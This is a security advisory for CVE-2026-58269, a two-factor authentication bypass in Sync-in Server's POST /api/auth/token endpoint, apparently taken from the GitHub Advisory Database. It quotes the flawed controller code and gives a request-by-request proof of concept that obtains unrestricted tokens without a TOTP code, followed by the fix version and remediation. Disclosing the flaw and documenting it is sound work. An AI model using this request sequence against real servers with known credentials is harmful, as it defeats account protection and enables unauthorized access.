@sync-in/server
Affected
- introduced
0, fixed2.4.0(semver)
Fixed versions
2.4.0
Fix
- Fixed version
2.4.0npm install @sync-in/[email protected]
Advisory
Also known as: CVE-2026-58269
Sync-in Server has a complete 2FA Bypass via POST /api/auth/token
Affected component: Sync-in Server v2.3.0, POST /api/auth/token (auth.controller.ts:50-55).
Required attacker capability: Valid username and password for a 2FA-enabled account.
Summary
POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns unrestricted Bearer access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker who already knows valid credentials for a 2FA-enabled account can bypass 2FA in a single request.
The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled when server-side TOTP is enabled.
Details
The token endpoint at auth.controller.ts:50-55 uses AuthLocalGuard (password-only) and calls getTokens() directly:
// auth.controller.ts:50-55
@Post(AUTH_ROUTE.TOKEN)
@AuthTokenSkip()
@UseGuards(AuthLocalGuard)
token(@GetUser() user: UserModel): Promise<TokenResponseDto> {
return this.authManager.getTokens(user)
}
getTokens() at auth.service.ts:25-39 signs and returns access and refresh JWTs. It never reads user.twoFaEnabled:
// auth.service.ts:25-39
async getTokens(user: UserModel, refresh = false): Promise<TokenResponseDto> {
const currentTime = currentTimeStamp()
// ...expiration logic...
return {
[TOKEN_TYPE.ACCESS]: await this.jwtSign(user, TOKEN_TYPE.ACCESS, accessExpiration),
[TOKEN_TYPE.REFRESH]: await this.jwtSign(user, TOKEN_TYPE.REFRESH, refreshExpiration),
// ...
}
}
Compare with the login endpoint at auth.controller.ts:30-35, which calls setCookies(user, res, true). Inside setCookies() at auth.service.ts:45, the 2FA gate fires:
// auth.service.ts:45
const verify2Fa = init2FaVerify && configuration.auth.mfa.totp.enabled && user.twoFaEnabled
When verify2Fa is true, setCookies() issues only a restricted ACCESS_2FA token and requires the user to complete POST /api/auth/2fa/login/verify before receiving full session cookies. The token endpoint has no equivalent gate.
PoC
Prerequisites
Steps
token.access_2fa_expiration (a restricted partial token):POST /api/auth/login
{"login":"test","password":"..."}
Response: {"user":{"twoFaEnabled":true},"server":{"twoFaEnabled":true},"token":{"access_2fa_expiration":1781234379}}
/api/auth/token:POST /api/auth/token
{"login":"test","password":"..."}
Response:
{
"access": "eyJhbGciOiJIUzI1NiIs...",
"refresh": "eyJhbGciOiJIUzI1NiIs...",
"access_expiration": 1781235890,
"refresh_expiration": 1781248490
}
Unrestricted Bearer access and refresh JWTs are returned. No TOTP code was required.
GET /api/users/me
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Response: {"user":{"id":16,"login":"test","email":"[email protected]","twoFaEnabled":true,...}}
The server returns the user profile. Protected API endpoints that accept Bearer authentication are accessible as the target user. No TOTP code was required at any step.
Measured observations
/api/auth/login) correctly returns a restricted 2FA-pending response./api/auth/token) returns unrestricted Bearer JWTs with the same credentials and no TOTP.Impact
An attacker who already knows valid credentials for a 2FA-enabled account can obtain unrestricted Bearer access and refresh JWTs in a single HTTP request, without knowing the TOTP secret or possessing the authenticator device. 2FA security is bypassed for Bearer-token API authentication.
Remediation
Gate the token endpoint behind the same 2FA policy used by the login route. After AuthLocalGuard validates the username and password, require a valid TOTP code when server-side TOTP is enabled and user.twoFaEnabled is true, before calling getTokens().
High Basis: The source's own band: HIGH
0, fixed 2.4.0 (semver)2.4.0
2.4.0npm install @sync-in/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
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Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0